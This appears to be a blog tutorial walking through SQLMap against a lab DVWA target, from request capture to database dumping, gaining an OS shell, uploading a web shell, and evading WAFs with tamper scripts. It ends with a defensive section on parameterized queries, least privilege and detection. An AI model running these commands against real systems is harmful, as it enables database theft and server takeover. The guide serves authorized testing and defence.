SQLMap in Practice: From Detection to OS Shell

Web Exploitation
Time it takes to read this article 5 minutes.

Introduction

SQL injection (SQLi) remains one of the most impactful classes of web vulnerabilities — it sits in the OWASP Top 10 (A03:2021 Injection) for good reason. SQLMap is the de facto open-source tool for automating the detection and exploitation of SQLi flaws. In this article I walk through a realistic engagement workflow: capturing a request, fingerprinting the backend, enumerating databases, dumping data, spawning an OS shell, and evading a WAF with tamper scripts.

Legal & ethical disclaimer. Everything below is for education and for authorized testing only — systems you own or have explicit written permission to assess. Running SQLMap against a target without authorization is illegal in most jurisdictions. Build a lab (DVWA, OWASP Juice Shop, or a Vulhub container) and practice there.

How SQL Injection Works

SQLi occurs when user-controlled input is concatenated into a SQL statement without parameterization. Consider:

SELECT * FROM users WHERE id = '$id';
SQL

If $id is 1' OR '1'='1, the predicate is always true. SQLMap automates the discovery of injectable parameters and classifies the injection into one of five techniques (the --technique flag uses these letters):

  • B — Boolean-based blind
  • E — Error-based
  • U — UNION query-based
  • S — Stacked queries
  • T — Time-based blind

Blind techniques infer data one bit/character at a time by observing response differences (content or timing), so they are slower but work even when the application returns no data or errors.

Prerequisites / Lab Setup

Install SQLMap from the official repository (the packaged version is often stale):

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python3 sqlmap.py --version
Bash

Spin up a deliberately vulnerable target. A quick option:

docker run --rm -it -p 80:80 vulnerables/web-dvwa
Bash

Set DVWA's security level to low or medium and log in so you have a valid session cookie. For an authenticated workflow, the cleanest approach is to capture a real request from Burp Suite or your browser's dev tools and feed it to SQLMap.

Attack Walkthrough

1. Capture and replay a request with -r

Save the full HTTP request (headers, cookies, POST body) from Burp's "Copy to file" or via Save item. Then point SQLMap at it with -r. This is the most reliable way to preserve authentication, content-type, and CSRF tokens.

python3 sqlmap.py -r request.txt --batch
Bash

A captured request.txt looks like this:

POST /vulnerabilities/sqli/ HTTP/1.1
Host: target.local
Cookie: PHPSESSID=abc123; security=low
Content-Type: application/x-www-form-urlencoded

id=1&Submit=Submit
HTTP

--batch accepts default answers non-interactively. To mark a specific injection point manually, place an asterisk (*) in the request: id=1*. To raise aggression, add --level=5 --risk=3 (level controls how many parameters/headers are tested; risk controls the use of potentially dangerous payloads such as stacked queries).

2. Enumerate databases with --dbs

Once a parameter is confirmed injectable, list the databases:

python3 sqlmap.py -r request.txt --batch --dbs
Bash

SQLMap fingerprints the DBMS (MySQL, PostgreSQL, MSSQL, Oracle, SQLite, etc.) and returns the available schemas. Drill down from there:

# Tables in a specific database
python3 sqlmap.py -r request.txt -D dvwa --tables --batch

# Columns in a table
python3 sqlmap.py -r request.txt -D dvwa -T users --columns --batch
Bash

3. Dump data with --dump

Extract the contents of a table — or the entire database:

# Dump selected columns from one table
python3 sqlmap.py -r request.txt -D dvwa -T users -C user,password --dump --batch

# Dump everything (use responsibly and within scope)
python3 sqlmap.py -r request.txt -D dvwa --dump-all --batch
Bash

When SQLMap finds password-looking columns it offers to crack hashes with its built-in dictionary attack. Results are written to ~/.local/share/sqlmap/output/<target>/ as CSV files, which is handy for reporting. Scope your dumps tightly — pulling an entire production database is rarely necessary and increases impact and detection risk.

4. Get an OS shell with --os-shell

If the DBMS user has sufficient privileges (e.g., MySQL FILE privilege with a writable web root, or xp_cmdshell on MSSQL), SQLMap can give you command execution:

python3 sqlmap.py -r request.txt --os-shell --batch
Bash

Under the hood, on MySQL/PHP targets SQLMap typically uses INTO OUTFILE/INTO DUMPFILE to drop a stager web shell into the document root, then proxies your commands through it. On MSSQL it re-enables and calls xp_cmdshell. You will be prompted for the language and writable web directory if SQLMap cannot detect them automatically. Related flags:

# Single command execution
python3 sqlmap.py -r request.txt --os-cmd="whoami" --batch

# Upload a file to the target
python3 sqlmap.py -r request.txt --file-write=./shell.php \
  --file-dest=/var/www/html/shell.php --batch
Bash

From an OS shell, the natural next step is privilege escalation — see Linux privilege escalation techniques and Windows privilege escalation.

5. Bypass a WAF with tamper scripts

When a WAF or input filter blocks payloads, tamper scripts mutate SQLMap's payloads on the fly. List them with --list-tampers. Common ones:

Tamper Effect
space2comment Replaces spaces with /**/
between Rewrites > using BETWEEN ... AND
charencode URL-encodes payload characters
randomcase Randomizes keyword casing (SeLeCt)
modsecurityversioned Wraps payload in MySQL versioned comments

Chain them (order matters — they apply left to right):

python3 sqlmap.py -r request.txt --batch \
  --tamper=space2comment,between,randomcase \
  --random-agent --delay=1
Bash

Add --proxy=http://127.0.0.1:8080 to route through Burp for inspection, and --random-agent plus --delay to look less like an automated scanner.

Attack Flow Diagram

SQLMap in Practice: From Detection to OS Shell diagram 1

The diagram shows the loop from request capture to injection confirmation, branching into data enumeration/dumping and, when privileges allow, OS-level command execution.

Detection & Defense (Blue Team)

Defense deserves equal weight to the offense. SQLMap is loud and well-fingerprinted, so detection is achievable, but prevention is what actually closes the door.

Prevent the vulnerability:

  • Parameterized queries / prepared statements are the single most effective control. Bind parameters instead of concatenating strings; use ORMs correctly (avoid raw query escapes).
  • Least-privilege DB accounts. The web app's database user should not have FILE, xp_cmdshell, or DDL rights. This alone neutralizes --os-shell and --file-write.
  • Input validation / allow-listing for structured fields (e.g., numeric IDs), as defense-in-depth — never as the primary control.
  • Disable dangerous features: on MSSQL keep xp_cmdshell disabled; on MySQL set secure_file_priv to a non-web path or empty to block INTO OUTFILE.

Detect the attack:

  • SQLMap's default User-Agent contains sqlmap; a WAF/IDS rule on that string catches naive runs (defeated by --random-agent, so don't rely on it alone).
  • Watch for high request volume to a single endpoint with incrementally varying payloads, time-based patterns (consistent SLEEP/WAITFOR DELAY-induced latency), and bursts of SQL keywords or comment sequences (/**/, UNION SELECT, CONVERT().
  • Deploy a WAF (ModSecurity with the OWASP Core Rule Set) tuned for SQLi paranoia levels. Treat it as a speed bump, not a fix — tamper scripts exist precisely to bypass signatures.
  • Enable database query logging and alert on INTO OUTFILE, LOAD_FILE, xp_cmdshell invocations, and access to information_schema/sys from the application account.

This maps to MITRE ATT&CK T1190 (Exploit Public-Facing Application) and, post-shell, T1059 (Command and Scripting Interpreter). For a broader view of the post-exploitation phase, see pivoting and lateral movement.

Conclusion

SQLMap turns a single injectable parameter into database enumeration, full data exfiltration, and potentially OS command execution. The workflow — -r to preserve the request context, --dbs/--dump to enumerate and extract, --os-shell when privileges permit, and tamper scripts to slip past WAFs — covers most real engagements. For defenders, parameterized queries plus least-privilege database accounts remove the entire attack surface that SQLMap depends on. Automate the offense, but understand the SQL it generates: the manual payload is what you fall back on when the tool fails.

References

Comments

Copied title and URL